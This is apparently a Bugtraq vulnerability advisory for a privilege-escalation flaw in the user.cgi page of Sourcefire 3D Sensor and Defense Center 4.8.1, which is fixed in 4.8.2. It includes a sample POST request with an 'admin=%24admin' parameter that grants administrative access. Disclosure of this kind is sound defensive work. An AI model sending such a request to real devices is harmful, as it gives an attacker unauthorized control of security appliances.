Sourcefire 3D Sensor and Defense Center 'user.cgi' Security Bypass Vulnerabilities

Bugtraq ID:	35553
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 02 2009 12:00AM
Updated:	Jul 07 2009 10:06PM
Credit:	Gregory Duchemin
Vulnerable:	Sourcefire Defense Center 4.8.1 Sourcefire 3D Sensor 4.8.1
Not Vulnerable:	Sourcefire Defense Center 4.8.2 Sourcefire 3D Sensor 4.8.2

Sourcefire 3D Sensor and Defense Center 'user.cgi' Security Bypass Vulnerabilities

Sourcefire 3D Sensor and Defense Center are prone to multiple security-bypass vulnerabilities. An attacker may exploit these issues to gain administrative access to the vulnerable device, which may aid in further attacks.

Versions prior to the following are vulnerable:

Sourcefire 3D Sensor 4.8.2
Sourcefire Defense Center 4.8.2

Sourcefire 3D Sensor and Defense Center 'user.cgi' Security Bypass Vulnerabilities

An attacker can exploit this issue via a browser.

The following example POST data is available:

POST https://example.com/admin/user/user.cgi HTTP/1.1
User-Agent: xxxxxx
Keep-Alive: 300
Connection: Keep-alive
Cookie: CGISESSID=xxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 56

mode=edit&username=foobar&admin=%24admin&action_add=Save

Sourcefire 3D Sensor and Defense Center 'user.cgi' Security Bypass Vulnerabilities

Solution:
The vendor has released updates. Please see the references for details.

Sourcefire 3D Sensor and Defense Center 'user.cgi' Security Bypass Vulnerabilities

References:

• 3D Sensor Homepage (Sourcefire)
  
• Defense Center Homepage (Sourcefire)
  
• Sourcefire 3D Sensor and DC, privilege escalation vulnerability ([email protected])